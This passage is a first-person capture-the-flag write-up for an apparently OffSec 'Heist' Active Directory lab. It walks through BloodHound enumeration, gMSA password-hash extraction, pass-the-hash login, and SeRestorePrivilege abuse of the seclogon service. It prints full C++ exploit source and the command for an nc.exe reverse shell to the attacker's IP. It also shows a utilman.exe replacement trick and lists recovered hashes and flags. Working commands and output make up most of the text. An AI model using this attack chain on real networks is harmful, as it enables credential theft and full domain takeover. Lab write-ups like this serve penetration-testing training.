2025-04-07T00:30:43.2162965-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 65 MB RAM
2025-04-07T00:30:58.6381688-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2025-04-07T00:30:58.6537939-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-04-07T00:30:58.7162969-07:00|INFORMATION|Status: 93 objects finished (+93 2.021739)/s -- Using 72 MB RAM
2025-04-07T00:30:58.7162969-07:00|INFORMATION|Enumeration finished in 00:00:46.4932828
2025-04-07T00:30:58.7475451-07:00|INFORMATION|Saving cache with stats: 52 ID to type mappings.
52 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-04-07T00:30:58.7631803-07:00|INFORMATION|SharpHound Enumeration Completed at 12:30 AM on 4/7/2025! Happy Graphing!
SharpHound gathered data and wrote a ZIP archive to the current directory. I pulled that file back to my machine using evil-winrm
:
PS C:\Users\enox\Documents> ls
ls
Directory: C:\Users\enox\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/7/2025 12:30 AM 11341 20250407003058_BloodHound.zip
-a---- 4/7/2025 12:30 AM 7787 N2NkZDYyMzItY2UxZi00N2ZkLTg4ZmQtNThlNjJlZDQ1NzJh.bin
-a---- 4/7/2025 12:15 AM 59392 nc.exe
-a---- 4/6/2025 11:56 PM 600597 PowerUp.ps1
-a---- 4/7/2025 12:13 AM 1308348 SharpHound.ps1
-a---- 4/7/2025 12:11 AM 10141696 winpeas.exe
download 20250407003058_BloodHound.zip
*Evil-WinRM* PS C:\Users\enox\Documents> download 20250407003058_BloodHound.zip
Info: Downloading C:\Users\enox\Documents\20250407003058_BloodHound.zip to 20250407003058_BloodHound.zip
Info: Download successful!
Analysing the Graph
I loaded the archive into BloodHound, which gave me a detailed map of the domain relationships. The most interesting insight came from the “Shortest Paths to High Value Targets” query — it showed that the svc_apache$
account had permission to read the password for a gMSA.
This validated everything I’d pieced together so far.



In this case, the graph revealed something particularly interesting: the svc_apache$
account had permission to read the password of a Group Managed Service Account (gMSA).
This is a big deal.
Group Managed Service Accounts are special types of domain accounts that services use — their passwords are automatically rotated and stored securely in Active Directory, and they’re not meant to be known or accessed like regular user passwords.
However, certain users or groups can be granted permission to retrieve these passwords — and that’s exactly what BloodHound showed me. The account I was already using (enox
) was part of a group called Web Admins, and that group had permission to read the gMSA password for svc_apache$
.
What this meant in practical terms was:
- I could extract the password hash for
svc_apache$
using built-in domain tools. - That hash could then be used to authenticate as
svc_apache$
, even without knowing the plaintext password. - And if
svc_apache$
had elevated privileges (which I’d soon confirm), I’d be able to move one step closer to full system compromise.
Confirming gMSA Status with PowerShell
Back in the shell, I used the following command to list any managed service accounts:
Get-ADServiceAccount -Filter * | where-object {$_.ObjectClass -eq "msDS-GroupManagedServiceAccount"}
PS C:\Users\enox\Documents> Get-ADServiceAccount -Filter * | where-object {$_.ObjectClass -eq "msDS-GroupManagedServiceAccount"}
Get-ADServiceAccount -Filter * | where-object {$_.ObjectClass -eq "msDS-GroupManagedServiceAccount"}
DistinguishedName : CN=svc_apache,CN=Managed Service Accounts,DC=heist,DC=offsec
Enabled : True
Name : svc_apache
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : d40bc264-0c4e-4b86-b3b9-b775995ba303
SamAccountName : svc_apache$
SID : S-1-5-21-537427935-490066102-1511301751-1105
UserPrincipalName :

Output confirmed that svc_apache$
was indeed a gMSA, and that it was enabled.
Determining Who Can Retrieve the Password
Using PowerView, I imported the script and ran this command:
Get-ADServiceAccount -Filter {name -eq 'svc_apache'} -Properties * | Select CN,DNSHostName,DistinguishedName,MemberOf,Created,LastLogonDate,PasswordLastSet,msDS-ManagedPasswordInterval,PrincipalsAllowedToDelegateToAccount,PrincipalsAllowedToRetrieveManagedPassword,ServicePrincipalNames
PS C:\Users\enox\Documents> Get-ADServiceAccount -Filter {name -eq 'svc_apache'} -Properties * | Select CN,DNSHostName,DistinguishedName,MemberOf,Created,LastLogonDate,PasswordLastSet,msDS-ManagedPasswordInterval,PrincipalsAllowedToDelegateToAccount,PrincipalsAllowedToRetrieveManagedPassword,ServicePrincipalNames
Get-ADServiceAccount -Filter {name -eq 'svc_apache'} -Properties * | Select CN,DNSHostName,DistinguishedName,MemberOf,Created,LastLogonDate,PasswordLastSet,msDS-ManagedPasswordInterval,PrincipalsAllowedToDelegateToAccount,PrincipalsAllowedToRetrieveManagedPassword,ServicePrincipalNames
CN : svc_apache
DNSHostName : DC01.heist.offsec
DistinguishedName : CN=svc_apache,CN=Managed Service Accounts,DC=heist,DC=offsec
MemberOf : {CN=Remote Management Users,CN=Builtin,DC=heist,DC=offsec}
Created : 7/20/2021 4:23:44 AM
LastLogonDate : 9/14/2021 8:27:06 AM
PasswordLastSet : 7/20/2021 4:23:44 AM
msDS-ManagedPasswordInterval : 30
PrincipalsAllowedToDelegateToAccount : {}
PrincipalsAllowedToRetrieveManagedPassword : {CN=DC01,OU=Domain Controllers,DC=heist,DC=offsec, CN=Web
Admins,CN=Users,DC=heist,DC=offsec}
ServicePrincipalNames :

The result showed that members of the Web Admins
group could retrieve the gMSA password — and as noted earlier, enox
was in that group. That meant I had permission to extract the password hash from Active Directory.
We can verify that our user is in the Web Admins group:
Get-ADGroupMember 'Web Admins'
PS C:\Users\enox\Documents> Get-ADGroupMember 'Web Admins'
Get-ADGroupMember 'Web Admins'
distinguishedName : CN=Naqi,CN=Users,DC=heist,DC=offsec
name : Naqi
objectClass : user
objectGUID : 82c847e5-1db7-4c00-8b06-882efb4efc6f
SamAccountName : enox
SID : S-1-5-21-537427935-490066102-1511301751-1103

Extracting the gMSA NTLM Hash
To do this, I used a tool called GMSAPasswordReader.exe, which can request and decode the password hash of a gMSA account. After transferring it to the victim, I ran:
.\GMSAPasswordReader.exe --accountname 'svc_apache'
PS C:\Users\enox\Documents> .\GMSAPasswordReader.exe --accountname 'svc_apache'
.\GMSAPasswordReader.exe --accountname 'svc_apache'
Calculating hashes for Old Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : 0C43E5AD6BC9104CFB94D56F4AECB4AB
[*] aes128_cts_hmac_sha1 : F3DB550E9B27FB60D72DCF28FFCBA820
[*] aes256_cts_hmac_sha1 : 63A47D94790C2E03ACD1A326E1C93916A7879996534222FD05E4B7A79EE6DDE9
[*] des_cbc_md5 : 61297FE5A8088C26
Calculating hashes for Current Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : 618DE65B979E02BA8D4118394450BA41
[*] aes128_cts_hmac_sha1 : ED920AFCE973A7275C2E704311A13B02
[*] aes256_cts_hmac_sha1 : 014BB8032BF1D4041F63B63BABD2065A425849953F0DC216643E0758C575BED9
[*] des_cbc_md5 : 2A40AB6BAD9201B0

This hash can be used just like a standard NTLM hash for pass-the-hash attacks.
Gaining Access as svc_apache$
With the NTLM hash in hand, I established a new session using evil-winrm
with pass-the-hash:
evil-winrm -i 192.168.178.165 -u svc_apache$ -H 618DE65B979E02BA8D4118394450BA41
┌──(kali㉿kali)-[~/Tools]
└─$ evil-winrm -i 192.168.178.165 -u svc_apache$ -H 618DE65B979E02BA8D4118394450BA41
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> whoami
heist\svc_apache$

Now I had a foothold as a domain-managed service account — one step closer to full system compromise.
Escalating to SYSTEM via SeRestorePrivilege and Service Abuse
Once I had access as svc_apache$
, the first thing I checked was what privileges this account had. I ran the usual command:
whoami /priv
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeRestorePrivilege Restore files and directories Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The output showed that, among others, SeRestorePrivilege
was enabled:
This particular privilege allows a user to restore files and overwrite protected system resources — a powerful capability if used correctly. Although it doesn’t give full admin rights by itself, under the right conditions it can be abused to modify Windows services or registry entries that are normally locked down.
A Helpful Script on the Desktop
In the svc_apache$
user’s Documents
folder, I found a PowerShell script named EnableSeRestorePrivilege.ps1
. It included comments referencing a GitHub repo — gtworek/Priv2Admin — and detailed how this privilege could be leveraged to escalate access.
From this, I learned that the attack involved modifying the ImagePath of a service — replacing it with a custom command that would be run as SYSTEM when the service starts.
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> ls
Directory: C:\Users\svc_apache$\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2021 8:27 AM 3213 EnableSeRestorePrivilege.ps1

*Evil-WinRM* PS C:\Users\svc_apache$\Documents> cat EnableSeRestorePrivilege.ps1
function Enable-SeRestorePrivilege {
<#
.SYNOPSIS
Enables SeRestorePrivilege for the current (powershell/ise) process.
It allows you to overwrite ACL-protected files using the same console.
You have to have the privilege in your token first - check it with "whoami /priv" if not sure.
The full scenario for taking admin rights is described at https://github.com/gtworek/Priv2Admin under "SeRestore" section.
Investigating SeRestorePrivilege and Abusing seclogon for SYSTEM Access
After reviewing the Priv2Admin GitHub page linked in the EnableSeRestorePrivilege.ps1
script, I came across a diagram explaining two potential methods of exploiting SeRestorePrivilege
to escalate privileges. One approach relied on GUI access, but the other could be executed entirely via command line — perfect for a reverse shell environment.
The technique involves modifying a service that’s set to manual start — meaning it's not always running and can be triggered by a user when needed. The idea is to change the service’s binary path (ImagePath) to something malicious, then trigger the service to execute our payload as SYSTEM.

Searching for a Suitable Service
I attempted to list manually-started services using PowerShell and WMI:
cmd.exe /c sc queryex state=all type=service
Get-Service | findstr -i "manual"
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where { $_.StartMode -eq "manual" } | select PathName,DisplayName,Name
cmd.exe /c sc queryex state=all type=service
Get-Service | findstr -i "manual"
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "manual"} | select PathName,DisplayName,Name

However, all these methods returned Access Denied — no surprise, since I wasn’t running with administrative privileges.
Luckily, there are a few known Windows services that are both manually triggered and can be started by any authenticated user. One such service is seclogon
— also known as Secondary Logon.
Validating the Service
Using the registry, I confirmed the key details about seclogon
:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon
*Evil-WinRM* PS C:\users\svc_apache$\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon
Description REG_SZ @%SystemRoot%\system32\seclogon.dll,-7000
DisplayName REG_SZ @%SystemRoot%\system32\seclogon.dll,-7001
ErrorControl REG_DWORD 0x1
FailureActions REG_BINARY 805101000000000000000000030000001400000001000000C0D4010001000000E09304000000000000000000
ImagePath REG_EXPAND_SZ %windir%\system32\svchost.exe -k netsvcs -p
ObjectName REG_SZ LocalSystem
RequiredPrivileges REG_MULTI_SZ SeTcbPrivilege\0SeRestorePrivilege\0SeBackupPrivilege\0SeAssignPrimaryTokenPrivilege\0SeIncreaseQuotaPrivilege\0SeImpersonatePrivilege
Start REG_DWORD 0x3
Type REG_DWORD 0x20

Key points:
- The
Start
value is0x3
, confirming the service is set to manual start. ObjectName
isLocalSystem
, meaning the service runs with SYSTEM-level privileges.- The list of
RequiredPrivileges
includesSeRestorePrivilege
— a match for our current capabilities.
I also validated the same using sc.exe
:
sc.exe qc seclogon
*Evil-WinRM* PS C:\users\svc_apache$\Documents> sc.exe qc seclogon
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: seclogon
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs -p
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Secondary Logon
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Output confirmed all the expected values: the binary path, the run-as account, and the manual start setting.
Confirming Permissions to Start the Service
To verify that we had permission to start the service (which is critical for the exploit), I ran:
sc.exe sdshow seclogon
*Evil-WinRM* PS C:\users\svc_apache$\Documents> sc.exe sdshow seclogon
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPDTLOCRRC;;;IU)(A;;CCLCSWDTLOCRRC;;;SU)(A;;CCLCSWRPDTLOCRRC;;;AU)

This returned an SDDL (Security Descriptor Definition Language) string. It looks confusing at first glance, but it breaks down into access control entries. The key section is:
(A;;CCLCSWRPDTLOCRRC;;;AU)
AU
stands for Authenticated Users.RP
is SERVICE_START, confirming that any logged-in user (like us) can start the service.
With the required privilege and start permissions in place, we had everything we needed to move forward.
Compiling and Using SeRestoreAbuse.exe
Heading over to the GitHub repository for this exploit, I cloned the project to my attacker machine and got ready to transfer the solution file (.sln
) to a Windows lab environment where it could be built using Visual Studio.
Before compiling the binary, I had a quick look through the .cpp
source file to better understand what the program was actually doing.
#include <iostream>
#include <Windows.h>
/*
Exploit SeRestorePrivilege by modifying Seclogon ImagePath
Author: @xct_de
*/
int main(int argc, char* argv[])
{
std::string value;
if (argc > 1) {
value = argv[1];
}
else {
std::cout << "Usage: SeRestoreAbuse.exe <payload>" << std::endl;
}
// enable privilege in case it's not
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_RESTORE_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
// create registry key or get handle
HKEY hKey;
LONG lResult;
lResult = RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\SecLogon",
0,
NULL,
REG_OPTION_BACKUP_RESTORE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL);
std::cout << "RegCreateKeyExA result: " << lResult << std::endl;
if (lResult != 0) {
exit(0);
}
// set value
lResult = RegSetValueExA(
hKey,
"ImagePath",
0,
REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()),
value.length() + 1);
std::cout << "RegSetValueExA result: " << lResult << std::endl;
if (lResult != 0) {
exit(0);
}
// start service
system("powershell -exec bypass -enc ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAcwBlAGMAbABvAGcAbwBuACAAfAAgAHMAdABhAHIAdAAtAHMAZQByAHYAaQBjAGUA");
}
We can observe that the executable performs the following steps:
- First, it activates the SeRestorePrivilege for the current session (just like the PowerShell script we reviewed).
- Next, it modifies the seclogon registry key to set up the attack.
- Then, it adjusts the subkey’s value so that the command we supply replaces the current ImagePath, meaning when the service starts, it runs our malicious file instead of the legitimate binary.
- Finally, it launches the service using an obfuscated PowerShell command encoded with base64 via the enc switch, which essentially decodes to: Get-Service seclogon | Start-Service.
Compiling from Source
On the Windows machine, I downloaded the GitHub repository as a ZIP file.

Next, I right-clicked the .sln
file and chose to open it with Visual Studio.

Once the project loaded, I opened the .cpp
file from the Solution Explorer panel on the right-hand side.
Then, I set the build configuration to Release and the architecture to x64 before building the solution.


During the build process, I ran into an error, which I resolved by installing the Visual Studio 2019 Build Tools.
After that, I rebuilt the project, and the output window at the bottom confirmed that the .exe
file was successfully compiled.


I copied the compiled executable over to my attacker machine, then uploaded it to the target system using the existing evil-winrm session.
*Evil-WinRM* PS C:\users\svc_apache$\Documents> upload SeRestoreAbuse.exe
Info: Uploading /home/kali/Tools/SeRestoreAbuse.exe to C:\users\svc_apache$\Documents\SeRestoreAbuse.exe
Data: 22528 bytes of 22528 bytes copied
Info: Upload successful!
SYSTEM Access with a Reverse Shell
To gain a SYSTEM-level shell, I planned to use nc.exe
to launch a reverse shell. I had already uploaded nc.exe
to the victim earlier.
On my Kali box, I set up a listener:
rlwrap nc -lnvp 445
Then, on the victim:
.\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.235 445 -e powershell.exe"
PS C:\users\svc_apache$\Documents> .\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.235 445 -e powershell.exe"
.\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.235 445 -e powershell.exe"
RegCreateKeyExA result: 0
RegSetValueExA result: 0
Reverse shell was successfully caught (I had to revert the lab as I attempted the GUI method first).
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> .\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.155 445 -e powershell.exe"
RegCreateKeyExA result: 0
RegSetValueExA result: 0
<SNIP>
┌──(kali㉿kali)-[~/Tools]
└─$ rlwrap nc -lnvp 445
listening on [any] 445 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.197.165] 49809
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nt authority\system

Retrieving the Root Flag
Once SYSTEM access was confirmed, I navigated to the Administrator’s Desktop and grabbed the proof.txt
flag:
PS C:\users\administrator\Desktop> ls
ls
Directory: C:\users\administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/8/2025 1:55 AM 34 proof.txt
PS C:\users\administrator\Desktop> cat proof.txt
cat proof.txt
16751cf98ee42845af71a8a300f5caf8
PS C:\users\administrator\Desktop> ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : DC01
Primary Dns Suffix . . . . . . . : heist.offsec
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : heist.offsec
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-F3-28
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::c878:cec7:2ee9:471e%7(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.197.165(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.197.254
DHCPv6 IAID . . . . . . . . . . . : 117461078
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-88-61-00-00-50-56-8A-53-00
DNS Servers . . . . . . . . . . . : 192.168.197.254
NetBIOS over Tcpip. . . . . . . . : Enabled

Alternative Privilege Escalation via utilman.exe (GUI Method)
Alternative method is to use a more old-school but reliable trick: replacing utilman.exe
with cmd.exe
. This would allow me to open a SYSTEM-level command prompt at the login screen via Remote Desktop.

Find Utilman.exe by navigating to “C:\Windows\system32”:
*Evil-WinRM* PS C:\Windows\System32> ls

Rename Utilman.exe to Utilman.old and verify the filename modification:
*Evil-WinRM* PS Rename-Item -Path "C:\Windows\System32\Utilman.exe" -NewName "Utilman.old"
*Evil-WinRM* PS C:\Windows\System32> Get-Item "C:\Windows\System32\Utilman.old"
Directory: C:\Windows\System32
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/28/2021 4:10 AM 113664 Utilman.old

Rename cmd.exe to Ultiman.exe:
Rename-Item -Path "C:\Windows\System32\cmd.exe" -NewName "Utilman.exe"
Open RDP session from Kali:
rdesktop 192.168.178.165

At the login screen, press Windows + U
— this opened a command prompt running as SYSTEM.

From there, I switched to PowerShell and re-used nc.exe
to launch a reverse shell back to my listener:

┌──(kali㉿kali)-[~/Tools]
└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.235] from (UNKNOWN) [192.168.178.165] 59891
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator>whoami
whoami
nt authority\system
Retrieving the Root Flag
Once SYSTEM access was confirmed, I navigated to the Administrator’s Desktop and grabbed the proof.txt
flag:
The root flag proof.txt
can be obtained in the Administrator’s Desktop:
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 5C30-DCD7
Directory of C:\Users\Administrator\Desktop
07/20/2021 04:25 AM <DIR> .
07/20/2021 04:25 AM <DIR> ..
04/06/2025 04:43 PM 34 proof.txt
1 File(s) 34 bytes
2 Dir(s) 13,304,217,600 bytes free
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
890c0c49fc292aab29cdddc1223814d6
C:\Users\Administrator\Desktop>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : DC01
Primary Dns Suffix . . . . . . . : heist.offsec
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : heist.offsec
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-2E-F1
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::c8c0:44ea:8561:208%7(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.178.165(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.178.254
DHCPv6 IAID . . . . . . . . . . . : 117461078
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-88-61-00-00-50-56-8A-53-00
DNS Servers . . . . . . . . . . . : 192.168.178.254
NetBIOS over Tcpip. . . . . . . . : Enabled
C:\Users\Administrator\Desktop>
